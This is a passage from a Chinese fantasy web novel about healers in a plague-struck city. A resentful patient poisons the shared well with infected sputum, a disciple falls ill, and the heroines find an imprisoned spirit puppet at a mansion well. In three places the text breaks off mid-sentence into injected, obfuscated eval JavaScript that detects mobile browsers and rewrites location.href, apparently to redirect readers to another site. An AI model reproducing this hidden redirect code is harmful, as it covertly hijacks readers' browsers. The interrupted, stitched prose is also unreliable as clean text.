水萍对他素有些嫌恶,但也并未十分表现出来,照例给他送去汤药,又安慰了几句。 听她说那些“不要放弃”之类的话,那男人乖顺地应了。 “别总想那些有的没的,有什么难处和我们说。”他总是一声不吭,南星担心他憋出毛病来,不由得多说两句,“咳或者呕出来的东西不要乱丢,放到篓子里,给我们统一处理,知道吗?” “嗯。”男人低着头,她说什么就应什么。 东厢的药送完,南星和水萍便往后头去换药。 那邋遢的男人躺了一会儿,把手伸到枕头底下,摸到今天攒下的三五个裹着血痰的布团攥在手里,起身往外去了。 “你干什么去?”隔壁床的老妇人问道。 男人含糊应了句什么,他声音小,说话也不爽利,老妇人没听清,也没追问,奇怪地瞧着他出去了。 天已经擦黑,永安堂庭院中央有一棵大合欢树,树下一口水井,永安堂上下内外都在此处汲水,井水干净清冽,已经有很多年了。 男人趿拉着脚步从庭院中穿过,缩着肩膀,扫了一圈四下无人,手一拨,就将那一把布团都丢到了井里。 做完这事,他揩了把鼻涕,又拖着脚步往茅厕走。 说什么有得治,他看得分明,那些人无不竖着进来横着出去。去他妈的,那小婊子说的什么“相信大夫”的话,他可是不信一点的。凭什么别人好好的,就他染这死病?那小婊子清高成那个样子,还看不起他,喝他的粘痰去吧!要不是人看着,他恨不得在这水里尿一泡,让所有看不起他的人都染上和他一样的病,都去死! 给各个屋送完药,差不多也该换班了。 跟换班的人交代完毕,南星和水萍打了水,端着到后院预备洗漱睡下。 永安堂的条件比广发堂差些,弟子们睡得都是通铺。丹砂点着灯在桌前看书,广丹趴在床上,正在撕指甲边缘的倒刺。 她老有这个习惯,一时改不过来,丹砂看见,说过她几次,她好不了多久就又故态重萌,丹砂也懒得老说了。 南星将水盆放好,抽出巾帕来,招呼丹砂和广丹:“快过来洗洗,早点睡了” 丹砂没抬头:“你们先收拾吧,我这儿还没看完。” 广丹应了一声,注意力还在自己的手上。 她中指的指甲边有一根很长的倒刺,使劲一拽,倒刺没扯下来,那一块儿死皮倒扯得更深,开始有些疼了。到这种程度,不撕下来不舒服。广丹重新掐住倒刺的根部,再用力一扽,终于将那根倒刺撕了下来,指甲边上只留下一点泛着血色的小伤口。 “谁要来洗?”南星又招呼了一遍。 “来了来了。”处理干净倒刺,广丹神清气爽,掀开被子下床穿鞋。洗手时双手摩擦,中指上的伤口隐隐作痛,她也没当回事。 洗漱过后,南星和广丹都躺下了。丹砂心中记挂着截脉和黑气的事,看到很晚才熄灯。 相安无事过了一天,早起又是丹砂和广丹的班。 她们几人同住,南星起得早,此时其他人要么在轮值,要么先一步出去,屋里只剩她和广丹两个睡得最久。 床上的被子还没叠,丹砂一进去,就见广丹背对着门,在床前不知摆弄着什么。 丹砂放好脸盆,一边拿要穿的衣服,一边催促广丹:“赶紧梳洗,该吃饭了。” “唔。”广丹转过身开始行动,眉头微皱着,像是想着什么事似的。 “怎么了?”丹砂问道,“你刚才在摆弄什么?” “没什么……”广丹神思不属地回道,“就是感觉手上黑了一块……” 丹砂心中一紧:“什么黑了一块?” 广丹直起腰,将手往丹砂面前递了递:“喏,你看,就是这里……这是我不小心磕青了吧?” 丹砂把手里的面巾搭在架子上,三两步走过去拉住广丹的手,低头一看,只觉得浑身的血都凉了。 ——广丹中指下方的手背上,赫然是一块不大的青黑色斑块。 她一把拉过广丹的胳膊,拽着她走到屋外,借着明亮的天光,将那块黑斑仔仔细细看了一遍。 “应该是我不小心磕的。”广丹不甚在意地说,“我都注意得很,不可能染上的。” 丹砂见了无数病人,怎么会认不出这东西,这分明是感染初期刚刚出现的黑斑! 丹砂心中一时间恨极了广丹,往日莽撞就算了,怎么这回还这样粗心大意? 再三确认无误,丹砂压下心中的火气,把她的手放下来,嘴里说着:“没事儿,你别怕。你现在先去换个衣服,我带你去找师叔。” 被丹砂的面色吓住,广丹愣愣地点头,跑回屋子里,两人互相背对着更衣。 丹砂三两下系好外褂,又拉开房间的抽屉,找出一包她们夜班时用来充饥的果子:“来不及去吃饭了,你拿两块这个,先吃点垫一垫。” 广丹动作慢了些,拿了一块在手里,丹砂又帮她拿了一块,将剩余的果子包好,拉上广丹就往前院的厢房去。 “川连师叔可能没在川断师叔的房间?”广丹被丹砂拉着疾走,犹豫着说道,“他之前轮值呢,应该还在吃饭。” 丹砂没回答她,只对路过的水萍大喊:“师姐,叫川连师叔马上赶到川断师叔的房间来!” 水萍刚应下,川连就从厨房那边绕了过来。 两拨人正好碰上,川连手里捏着雪白的鹤纸,朝正在川断屋外的丹砂喊道:“丹砂,你来!” “我也正要找你。”丹砂掀起门帘,“来这儿说!” 清晨的空气微微透着凉意,晨起活动的人不多,川断还在昏迷,居室狭小而静谧。 丹砂等川连进屋,反手关好了门,又拉着广丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294805|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去川连面前。 “师叔……” 不等丹砂说完,川连先一步开口了。 “关于黑气,谷中的回信来了。”川连将手里的鹤纸朝丹砂递过来,“师父和师祖同样束手无策,他们特请门主出山,才弄明白这件事。” 丹砂心中一喜,松开广丹去接鹤纸,川连却没松手。 他捏着纸鹤,语气中带着某种认真和郑重:“有道是俯首造化却一衍,丹砂,你可知《逢春诀》却何一衍?” “什么?”丹砂没反应过来,看着川连,愣愣地眨了下眼睛。 “医治不死病,佛渡有缘人。”朝阳透过窗棂照在川连与丹砂之间的地板上,川连放开了捏着鹤纸的手,“俯首造化却一衍,《逢春诀》,不问天谴。” 鹤纸松松地卡在丹砂指间,丹砂听到了,又好像没听明白川连的意思一样打开鹤纸,一目十行。直至读完,她合上鹤纸,放到了一边的桌上。 川连道:“丹砂,扈陵的瘟疫是天谴,我们不能再留了。” “不……”丹砂垂着脸,挤出一丝声音。 川连以为她不肯放下未竟的研究,劝道:“孩子,你不明白,若是我们再继续留在此处,便是与天作对,天谴之力迟早会蔓延到你我、甚至小南国满门身上。” 他原一直想不明白,小南国弟子一生治病救人,为何遭此横祸、命丧人间,为何做好人行好事却没有好报。接到谷中传信后,心中才有这般恍然大悟的凄然。 丹砂抬头看向川连,目光如有实质:“那你师兄怎么办?”说罢,她拉过广丹的手,将手背举到了川连眼前,“广丹又怎么办?” 川连不解其意地低下头,待看清广丹手上长了什么,便觉一道霹雳打响在脑中。 “这……”川连捧过广丹的手,双唇微微有些颤抖,“这是什么时候的事?” “今早刚看见的……”广丹语带踟蹰,“或许只是我在哪里磕到了也不一定……” “我能认不出瘟疫的黑斑吗!”川连咬着牙训斥道,“我叫你们注意注意,一个个偏不听!丹砂给你用药了吗?” “还没有……”广丹茫然地,还没来得及想清楚这是怎样的后果。 川连痛心疾首:“还有多少弟子有你这样的症状?” 广丹愈加茫然了,不知所措地看向丹砂。 丹砂没留意广丹的目光,拿定主意,转身向外走去。 “丹砂?”川连在后面喊她,“你去哪儿?” 丹砂回头:“瘟疫的源头在哪儿?东城王员外家里是吗?” 没人能回答她。川连追出来:“你问这个干什么?” 丹砂的目光灼灼逼人,直直地看着川连的眼睛:“《逢春诀》不问天谴,那我解了天谴,病是不是就可以治了?” 川连一怔,丹砂不等他回答,扭头往院中快步走去,一边走一边喊道:“花沐雨!花沐雨!” “这是怎么了?”南星和卜芥抬着药出来,不解地问道。 丹砂不理,飞快地走过一扇扇敞开的门,寻找花沐雨的身影:“花沐雨!” “出什么事了?”花沐雨原本正在寻找印偶,听到丹砂喊她,从屋后出来,就被丹砂一把揪起来。 丹砂拽着她往后门的马厩去:“带我去王宅!” “王宅?”花沐雨有点蒙,顺从地被她拉着走,“什么王宅?” “是出现第一个病人那家!东城王员外家!”丹砂一边跑一边说。 马厩设在永安堂后院外,临着后门的小道,马厩中正有几匹已经披好鞍鞯的马。 丹砂动作飞快地开始解缰绳,问花沐雨:“你会骑马带人吧?” “当然。”缰绳粗糙,绑得又紧,花沐雨帮她解开,知她情急,便不多问,在马腹边弓步,朝她伸手示意,“来,踩着我大腿上去。” 丹砂扒住马鞍,踩着花沐雨的大腿,花沐雨在底下使劲儿一推,她就顺利地翻上了马背。花沐雨随后蹬着马镫坐在丹砂身后:“抓紧了。” 缰绳一勒,枣红马驮着丹砂和花沐雨,沿着青石板道一路疾行而去。 26. 一枝梨花故人诺 太子来后,花沐雨随他们全城清查过,对瘟疫发源的王员外府熟门熟路。 “吁!” 枣红马在王员外府门口徘徊两圈,终于停稳。 此时的王员外府早已是人去楼空,门口两个威武的石狮子,底座下兹长出两丛野草。大门半开着,里面的地上躺着一个被风吹下来的破灯笼。 花沐雨翻身下马,扶着丹砂跳下马背。 丹砂第一次骑马,下来时腿有点软,踩在地上踉跄了一下,不过浑没在意,一下马就直奔王员外府大门而去。 花沐雨拴好马,紧跟着三两步踏上王员外府门前的台阶。 “你们都搜过了?”丹砂哐地一声推开大门。 “都搜过了。”花沐雨快步跟着她,终于问道,“你要找什么?我跟你一起找。” 站在门厅下,丹砂吁出一口气,强迫自己放慢下来:“广丹也染上瘟疫了。” “什么……”花沐雨睁大了眼睛。 “你知道那个黑气是什么吗?”丹砂回头看着花沐雨。 “我不知道……”花沐雨迟疑道。 丹砂定定地看着她:“是天谴。” 花沐雨愣住。 “有天谴之力在,什么灵丹妙药都救不了广丹。”丹砂语气坚定,“我倒要看看,这瘟疫源头的王员外家,有什么东西能招来天谴。” “所以药效渐退也是因为……”花沐雨欲言又止。 “也是因为我们在和老天对着干。”丹砂举步往里走,“不想跟我一起就回去。” “不不不。”花沐雨下意识跟了上去,拉住了丹砂的手臂,“可是天谴何解?” “我不知道。”丹砂回头,“总要试过了才知道。” 王员外是喜好风雅之人,院内各处都嵌着书画装饰,回廊山水,曲径通幽,移步换景自不必说。 门厅里铺着石砖,左右辟开两个花圃,花圃中有花草树木。花沐雨于花木上没什么研究,认不出来都是什么品种。树还好,树下的花草无人打理,已经漫长出来,花叶都垂在地上。 回廊连接着后面的正堂,门大敞着,可以看见被扯开一半的对联。 院中的布置十分精细,连回廊上都挂了壁瓶。只是如今那些壁瓶都被摘走了,只留下光秃秃的钉子和一片颜色有些差异的墙面。 穿过一排厅堂进入后花园,王员外家的花园极大,假山石洞里隐约可见向上攀登的石阶;穿过假山石洞,是一片潇潇竹林。 花沐雨道:“我们先看地上,假山上还有一些楼阁,地面找过之后我们再上去。” 丹砂并未反对,走下小路,连竹林底部都巡查一遍。 花沐雨再次叫住她。想了这一路,她渐渐明白过来,语气认真:“这里我们都已经找过一遍了,如果真的什么都没有,你打算怎么办?” “冤有头、债有主,扈陵的天谴,必然有个来由。”丹砂道,“王员外家没有,张员外家有没有?每个员外家都没有,整个扈陵城有没有?哪怕直找到神仙界,我也要弄个明白出来。” 知她态度,花沐雨放开了手。没了她的阻拦,丹砂立刻跑向花园更深处。 穿过竹林,眼前豁然开朗。 四周环抱的假山上垂下瀑布般的花藤,花藤下是成片的奇花异草。中间有一片荷花池,池中锦鲤游曳,除去荷花,还有船坞边一片片蓝紫色的睡莲。 丹砂沿着石阶下到船坞,近距离地查看,荷花池中的水源并没有异样。 花沐雨慢步赶上来,站在池边道:“这里我都查过了。我虽然没有灵力,但若是有邪神诡事,我不至于一点感应都没有。” 她在想丹砂的推断。她的师父燃灯道人擅长卜算,虽然时灵时不灵,但他卜卦时所用的因果盘是凛岳历代传下来的灵器,在此种状况下或许有用。除此之外,燃灯还有另一件奇物,名叫生生造化符,全可在既定天命下求一线生机,于此地似正适宜。 只是她现在没有灵气,联系不上凛岳,也许可以让川连代替自己给师父送信。 花沐雨在这边想着,丹砂已经沿着石阶回到花园上。此处有四周的步道汇聚,丹砂举目四望,四下都是一片繁花美景。 远处风吹竹林,传来竹叶沙沙声。 花沐雨想跟丹砂分享自己的想法,然而不待她开口,就听丹砂问道:“现在是几月?” 花沐雨不知她为什么忽然问起这个,答道:“七月中了,怎么了?” “你们都搜过了?” “是啊。” 丹砂抬手,指向北方一条小径两侧一路的繁花:“那你告诉我,既已是七月中,为何此处还会有梨花?” 梨花,花白如雪,成簇伞生,五萼五瓣,中央一点朱红花药,入药润肺,还可去面黑粉滓。 身为天赋卓绝的小南国弟子,虽然丹砂尤擅灵枢针法,但外治、内治同样无一不精,自然认识各色药材。 王员外府中这一片梨花繁盛无垠,飞雪蔽日*,虽为素色,却能在奇花异草无数的花园中艳压群芳,凡是走进花园的,都无法不被它吸引。 丹砂质问花沐雨:“你告诉我,若无异常,梨花是春花,怎会怒放在盛夏?” 她确实没有发现这个,花沐雨低头:“我不认识这是梨花。” 丹砂翻了个白眼,抚开低垂的花枝,向梨花深处走去。 “里面我去看过了,是一口水井。”花沐雨追在她身后,“但那井我也看了,没什么特殊的。” 丹砂来到小径尽头,果然见到一处精巧的六角井亭*。井亭亭顶中空,天光透过空顶,照在底下汉白玉的井栏上,井口并未遮挡,井上还架着辘轳。 丹砂探头往井中看去,并没看到水面。 “你下去看了吗?”她问。 花沐雨又有些心虚了:“没有。” 她不会水,更害怕水井中那种狭窄幽闭的感觉。之前来的时候,她只敢在旁边往井口里略看一看,再看多了总觉得头昏脚软,仿佛要一头栽进井里去。其他太子部下也只是从外面看了一眼便罢,没觉得这里还能有什么异常。 丹砂扒着井口仔细往里打量着,此时天光照亮得范围有限,底下都看不太清楚。 “得下去看看。”她说着,转身四下去找绳子。 一听要下井,花沐雨登时开始紧张了。 然而井亭里除了辘轳,并没有水桶绳子等物。丹砂找了一圈,问花沐雨:“你看到绳子了吗?” “柴房那边有……”花沐雨道。 丹砂估摸了一下井口的尺寸:“还是得去取一捆绳子来。” 花沐雨始终站在井亭外的台阶上,没再往上来,想去取绳子,又怕自己离开后丹砂一个人掉进井里,便说:“我们一起去吧。” 丹砂嗯了一声,拍拍裙子,从井亭里走出来。 头脑一热赶了过来,其实丹砂也并不知道自己能找到什么东西。眼下真有发现,她心中也总算有了一丝希望,整个人都不再那么紧绷了。 二人并肩前往柴房,一边走,丹砂打量着花沐雨过于镇定的神色,问:“你是不是害怕了?” 花沐雨下意识想要否认,但到底还是承认了:“是有点。”花沐雨讪笑。 “害怕什么?害怕水井?”丹砂诧异地问。 “你不害怕吗?”花沐雨一想到等会儿要下去,就浑身不舒服,“又黑,又逼仄,透不过气,转不开身,还都是水……” “又不是要你下去,你害怕什么啊。”丹砂嘲讽道。 花沐雨这下没想到了:“我不下去谁下去?” “我啊?”丹砂奇怪地反问,“咱这不两个人呢吗?你要下去,我在上面也拉不住你啊?” 花沐雨愣怔着,她似乎从没考虑过可以让丹砂下去这件事。如今一想,丹砂身量小,体重也更轻,她下去,自己在上面接应,确实更合适一些。 但是转念再一想,花沐雨又不赞同了:“万一井下有什么东西怎么办,你一个人如何应付?” “你以为水下会有什么?成了精的大蟒蛇,一口咬住我的脖子?”丹砂觑着花沐雨道。 花沐雨捂住眼睛:“别说了,你一说我更害怕了。” “我打量的时候没发现什么危险。”丹砂道,“而且,小南国的心法虽不能攻击,但危急之时,求得片刻自保还是可以的。要是真有不对,我先顶一下,你在上面速速拉我上去即可。” 花沐雨仍有些忧虑,总觉得深不可测的井底危险重重:“还是我下去吧,你把绳子系在栏杆上,到时候我攀着绳子上来。” “你不是害怕吗?”丹砂疑惑,“害怕为什么非要下去。” 花沐雨叹道:“我怕你下去出事。” 丹砂挑眉,去探她的手,果不其然,花沐雨的手凉冰冰的。她懒得和花沐雨争辩:“随你,你自己要下去的,再怕也给我看仔细点,不许漏了东西。” 找到绳索,二人再次回到梨花深处的井亭。 花沐雨把绳索一头绑在自己腰上,另一头在井亭的栏杆上牢牢拴住,系完犹嫌不够,又在水井的护栏上绑了一道。 丹砂抱着胳膊站在一旁,道:“要是遇事,你自己翻上来吧。提前说好,我肯定拽不动你。” “没事儿。”饶是害怕,花沐雨面上也是不显,若非丹砂此前问过,旁人断看不出她心里的紧张。 花沐雨来到井边,抓着绳子,在心中告诉自己不要紧张,只是一口水井而已,里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294806|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有水也不怕,自己踩着井壁就可以上来,而后对丹砂道:“那我下去了,你有事喊我。” 丹砂翻了个白眼:“快点,广丹那边还等着呢。” 花沐雨点头,弯下腰,对着井口最后做一遍心理建设,一狠心,撑着井口翻到了井下。 没想到她能这么利落,丹砂连忙放下手赶到井边。 花沐雨双脚在井壁上踩实,双手扽着绳子,一步一步往下挪。 脱离井口后,四周的光线逐渐暗淡。花沐雨心跳得飞快,好在没影响动作。 这口井看起来颇深,花沐雨下了很久不见底,不过好在也没遇到水面。 “你还好吗?”丹砂趴在井口朝里面喊。 花沐雨略一抬头,就觉得有点晕,她赶紧收回视线,一边缓劲儿一边喊道:“我没事!” 声音在井里瓮声瓮气地回荡,刚刚有些紧张,花沐雨略微闭眼调整了一下呼吸,集中注意力观察四周的井壁。 如此又下了一阵,花沐雨左脚再次寻找落点的时候探了个空。她稳住身形,又用脚在四周反复试探,察觉底下的井壁上好像开了一个空洞。 难道这里真有什么东西? 花沐雨小心翼翼地低头,用余光去看,所幸不是什么奇怪的东西,只是一个开在侧边的石洞。洞里黑漆漆的,什么都看不清楚。 “我在下面发现了一个石洞!”花沐雨朝上面喊道,“里面太黑了,你有火折子之类的东西吗?” “有!”丹砂翻出来随身带着给针消毒的火折子。 以防要装什么东西,除去绳子,她们还从柴房带回了两只水桶。丹砂把火折子放在桶里,沿着井边慢慢放下去:“我放下去了,在桶里!” 水桶慢慢降下来,看着高度差不多了,花沐雨喊停,以后背和双脚为支点,把自己在井里固定好,而后松开绳索,撕开一段袖口柔软的布料,将放在桶里的火折子尾端绑住,又塞进袖子里——她担心自己失手将火折子掉下去。 做完,她重新拉好固定住自己的绳索,朝上面喊:“好了,把桶收回去吧!” 丹砂拉动绳索将桶收了上去。 花沐雨道:“我去旁边的石洞里看看,有事你喊我!” 丹砂无奈:“害怕的话你也可以喊我。” 花沐雨小心地调整方向,把自己降到合适的位置。吹亮火折子,她往四周照了照,发现这个石洞约一人多高,下缘正擦着水面。 石洞的高度应该够她站立,思索了一下,花沐雨往下降了几寸,左脚踩住石洞的下缘,将重心移过去,右脚跟上,调整了一下,总算脚踏实地,可以放开绳索了。 石洞后面是一条长长的通道,也不知是做什么用,仿佛是特意留出来方便井水流通,或是专门给人走过的。 花沐雨举着火折子,不敢一下子踩实,一步步试探着往前走。约莫走了四五步,石洞的墙壁弯曲拓宽。 火折子能照亮的范围有限,花沐雨将手往前伸了伸,幽暗的火光照亮了前方狭窄的石室。 石室比石洞稍低,地面积着约莫半尺深的水。水光清冽,花沐雨没发现什么异常,正要松一口气,火光又移出几寸,照到一团黑漆漆的东西。 花沐雨浑身都僵住了一瞬,立即运转心法,幻化出长剑拿在手里。 剑刃映着摇摇火光,花沐雨缓了一下,才辨认出那黑漆漆的东西似乎是一团包裹的布料,布料下依稀是个蜷缩的人形。 石室中感受不到任何法阵的灵力波动,她谨慎地用剑探过积水的深度,而后小心踏入水中,用剑尖挑开黑色布料的一角。 花沐雨已做好了心里准备,这一团东西一动不动,说不定是具狰狞可怖的尸体。不料剑尖划过,石室中响起一阵铁索的叮当声。剑锋挑开的黑布下露出的一截雪白的手臂,手臂上出现一道剑刃不小心划出的血痕。 这竟然是个会流血的活人。 花沐雨一下子严肃起来,对人的担心压过了害怕。她将火折子拿近,轻轻拨开遮住她面孔的黑布。那人感受到陌生的触碰,瑟缩着后退,但还是叫花沐雨看清了她的脸——她双目紧闭,眼尾深且长,眼帘上以墨色勾勒着繁复镇印,其他五官也是如此。漆黑的发丝凌乱地盖住双肩,她环抱着自己,盖着黑布,蜷缩在石室一角,手脚上挂着镣铐。 又是一只印偶。 底下半天没有动静,丹砂在井上等得心焦,冲下面喊道:“怎么样了?” 花沐雨看着这只不知因何被囚禁于此的印偶,扬声道:“传信回永安堂,多叫几个人过来,这底下又有个印偶!” 黑暗中,有道身影饶有趣味地看着这一切。厚重的石墙在她眼中如空气般透明,而就在她对面的花沐雨对此一无所觉。 27. 可怜翻云弄雨手 闻讯赶来的卜芥和路通带来了灯具和绳索。 困住印偶的锁链和镣铐不知是用什么材质做成的,无论如何都弄不断。花沐雨又怕动作太大伤到她的肢体,只得设法挖下了钉在墙上的锁扣,先这样将她移出石室。 她应该被囚禁了很久,四肢都无法发力。 按理说印偶虽然目不能视口不能言,但是听觉和触觉是还在的。然而花沐雨反复尝试沟通,她却连点头摇头的反应都不懂得做,除了不愿意被触碰之外,几乎无法跟人交流。 花沐雨用卜芥放下来的绳索捆住她的腰,怕拉她上去的时候勒到她或者出现意外让她摔下来,又在腋下和膝弯处缠了几道,一并打了一个结。 “好了!”花沐雨在下面喊道,“可以拉她上去了!” 井上的卜芥和路通闻声,开始缓慢拉动绳索。 印偶缓缓朝井口升去,花沐雨拽着自己的绳子紧跟其后。万幸上去的途中没发生什么意外,升至井口,路通抓紧绳索,和卜芥二人合力将那人抱了出去。 见她出去了,花沐雨也松了一口气,踩着井壁一跃,也终于离开了这黑洞洞的深井。 人一上来,等在一旁的丹砂立刻给她做了检查。 花沐雨解下绳索扔到一边:“情况怎么样?看五官上的镇印,她应该也是一个印偶。” “那个红红的印偶又出现了一次。”提到印偶,卜芥道,“我们按照你们说的拦住她问,但她什么都不说。川连师叔从川断师叔的手记里翻到一句,说是她为收集病苦和死苦而来。” “病苦和死苦?”丹砂皱眉,“佛道八苦?这如何收集?” 花沐雨简单给众人解释了一下:“印偶就是以镇印封闭灵物的七窍,用以寄存灵气、记忆之类的无形之物,就此来看,那个印偶收集病苦和死苦确也可行。” 关于灵物的特性,小南国的弟子也都有所耳闻,但卜芥还是觉得奇怪:“这么巧吗,百年难得一见的印偶,在扈陵城一下子出现两个?” “灵物天生天长,本性至纯至洁,与人无害。印偶之术,也只有出自灵物本愿才可烙下。若强行刻印,必将致使灵物消散。”花沐雨道。印偶确实罕见。天生天长的灵物本就极少,能被人遇到并同意成为印偶的更是少之又少,一下子出现两个,确实罕见。 “就是她引来的天谴吗?”路通站在一旁,打量着在地上缩成一团的印偶,觉得有点晦气。 冥冥中传来一声无人听到的低笑,在场众人都不曾察觉,路通身侧出现了一道虚影,抬手轻轻摸了摸他的头顶。 “囚禁天生天长的灵物,是不是会招来天谴?”丹砂问道。 “据我所知,并不是一定有这样的结果。”花沐雨斟酌道,“或许有一些灵物族类特殊,能引动天地,但这一只已经变作印偶了——若她真的是某种牵动天地的灵物,早在她被制成印偶的时候就该引动天谴了,等不到被囚禁的时候……难不成,她就是在此地被制成印偶的?” 花沐雨垂眼,看着衣衫褴褛的黑发印偶蜷缩着躺在竹席上。原本抗拒接触的印偶似乎已经习惯或者放弃了,一动不动地任由丹砂检查着。黑发凌乱地铺开,像是藤蔓落在地上。 正在专心检查的丹砂觉得余光中有什么黑影动了一下,皱眉看去,映入眼帘的是印偶黑色的长发。 有什么东西钻进去了吗? 这样想着,丹砂用带着手套的手轻轻捋了一下印偶的黑发—— 发丝滑落,留下丝丝极细的黑气如烟似雾,缠绕在她的指缝之间。 空中骤然响起一声炸雷,井亭外小径两侧的梨花在雷声中轰然零落,花瓣纷纷,冲进井亭,恍若一场大雪。 丹砂惊得一抖,指缝间的黑气慢慢消散,她不确定地用手指再次穿过印偶的发丝,果不其然,又梳下几丝黑气。 不过这片刻的工夫,天空中已是乌云弥漫。霹雳电闪在乌云中穿梭,雷声一声接一声隆隆回荡,甚至叫大地都开始震颤。 井亭中的三人都被这异象所震撼。狂风骤起,路通去井亭外看了看天色:“像是要下雨了,我们得赶紧回去。” 望着那一头漆黑的长发,丹砂飞快地做出了决断:“这个印偶不能带回永安堂。” “不带回去?”路通奇怪地问。 “不带回去。”丹砂语气坚决,“今天在场的所有人都不能回去。我立刻传信师叔,叫所有人远离这里。” 见她神色有异,卜芥问:“怎么了?” 丹砂再一次梳过印偶的长发,当着他们的面,举起了手朝他们示意:“看到这些黑气了么?” 众人为之色变。 路通身旁的虚影轻轻一笑,如云雾般飘散,乘着怒风,飘出花园,飘过屋脊,吹到永安堂,从患者的身体中穿过,又飞向更远处,最终流入一尊神像之中。 案前供奉的香烛荡了荡烛焰,正对隔着屏风在神像前冥想的黄袍道士似有所觉,略一睁眼,便见一道侧影静静地落在屏风上。 “仙尊!”黄袍道士大喜过望,忙五体投地跪倒在屏风前。 “梁道已,你之所求,一直是声名远播,是也不是?”那人影柔声开口。 “正是!”黄袍道士激动地压低了身子,“贫道修行三十年,苦心孤诣,只为斩妖除魔,好叫有朝一日,整个扈陵,乃至姜国、四方诸国,都称颂我的名号!” “梁道已,你虔心供奉,精诚所至,自有天道眷顾。不日,便会有机缘落到你身上。” 黄袍道士惊喜地抬头:“敢问仙尊,是何机缘?!” “说是天道眷顾,自不用你费心如何。”那人温和地说,“你只需在家中坐等,自有人来请你出山。到时,你需请上我的神像,那妖邪自然无力抵抗,你可焚而杀之。” 皇袍道人喜不自胜,连连叩头:“多谢仙尊!” 另一头,永安堂。 川连阐明天谴一事,又有广丹感染瘟疫,小南国弟子一时人人自危、奔忙不断。 一个在合欢树下打水的男人偷眼瞧着弟子们进了厢房,将眼神一收,提着水壶回到了住处。 他是陪同家人在这里治疗的,比起永安堂的其他病人,他母亲病得还不算特别危急,此时被安排住在南房里。 妻子正在床边打瞌睡,他把水壶一放,妻子就醒了。 “他们又端着药去那个屋子了。”他嘀咕道,“你看没看,他们给咱们老太太用那个汤药了吗?” “平日喂的那个药不是吗?”妻子问。 “那哪能一样。”男人又嫌弃又愤恨地说,“咱喝的那个药一点用都没有,老太太在这儿躺了快半个月了,一点好没见。他们那屋用的药,那味儿一闻就不一样。他们指定是没给咱们用好东西,那好东西都给那帮有钱人用了。” 妻子将信将疑:“我问问刘大夫去。” 刘大夫原是永安堂坐诊的医者,一直跟他们关系不错,之前也没跟禁军去南城。 “那个药是他们带来的灵药。”柜台后,正在观察药材风干情况的刘大夫跟他们夫妇二人说道,“咱们一般凡人都没有,那个屋里是他们自己的人,这才能喝。” “有好药凭什么不给我们用?”男人不满。 “那是人家带来的东西,人家爱怎么用就怎么用呗。”刘大夫敷衍道。 男人问:“他们药放哪儿了?不也在你们库房里吗。” 刘大夫斜眼看着他:“你要干嘛?” 男人压低了声音:“那药方你不知道吗,我想等会儿晚上趁他们不注意,把药偷偷弄出来点,回家里煮了给老太太喝点……” “胡闹!”刘大夫压低了声音,“用药治病都是有分寸的,你懂个什么,岂是你觉着有用就能乱用的?” “我妈可是你亲姨姥,你忍心见她这么一日日磋磨?”男人将他一拽,“那个药,他们能吃,为什么我们不能吃?是不是那药贵,他们不舍得给我们用?” “嗐呀,你瞎说什么啊。”刘大夫转过身去,“大家吃的都是一样的药,只不过病情也分轻重缓急罢了……” “那不是他们自己人才能喝吗?一日日就这么拖着,好人都给拖死了。”男人小声急道,“就这么点儿小病,他们不给我们好好治,就等着坑我们钱。” “药能是随便用的吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哑女目不能视,察觉到有东西撞到近前,略微偏了偏头,去感受身前发出的动静。 摔在她脚下的小女孩倒没哭,趴在地上,直勾勾地盯着哑女的脸看个不停。 听到动静的刘大夫赶过来一把将小孩扶起,一边给她拍膝盖和手上的灰,一边问:“你家大人呢?怎么跑到这里来了,磕到哪儿没有?” 小女孩乖巧地摇头,被刘大夫揽在怀里,仍止不住好奇地打量哑女。 “后院不可以进知不知道?”刘大夫把孩子抱起来,对弟子们说,“我先带他们出去。” 几个孩子都被刘大夫带着走了,小女孩挂在刘大夫肩膀上,乌溜溜的眼睛还望着身后。 行过穿堂,另外几个孩子自己跑走了,只剩下刘大夫怀里这一个。 “这是谁家的孩子?”刘大夫喊道。 “这儿呢这儿呢。”一个妇人赶来,从刘大夫怀里接过小女孩,“我正找呢,怎么喊这孩子都不应。” “孩子得看住啊,刚刚都跑后院去了,这儿到处都是重病的人,这么瞎跑让人传上怎么办?”刘大夫告诫妇人道。 妇人千恩万谢地记下了,抱着小女孩去东厢房——妇人是过来照顾丈夫的,家里没有别人能帮着看孩子,只能将孩子也带了过来,此时心中也是又怕又愁。 “娘亲,娘亲。”小女孩趴在妇人耳边跟她说悄悄话,“我刚刚看到妖精了!” “什么妖精?”妇人正余怒未消,闻言训斥道,“又在说胡话了,这青天白日的,哪来的妖精。” “是真的,我见到妖精了。”小女孩夸张又执拗地说,“你自己去看看嘛,就在后院,一朵好漂亮的红色的花,在吸我们身上的东西。” 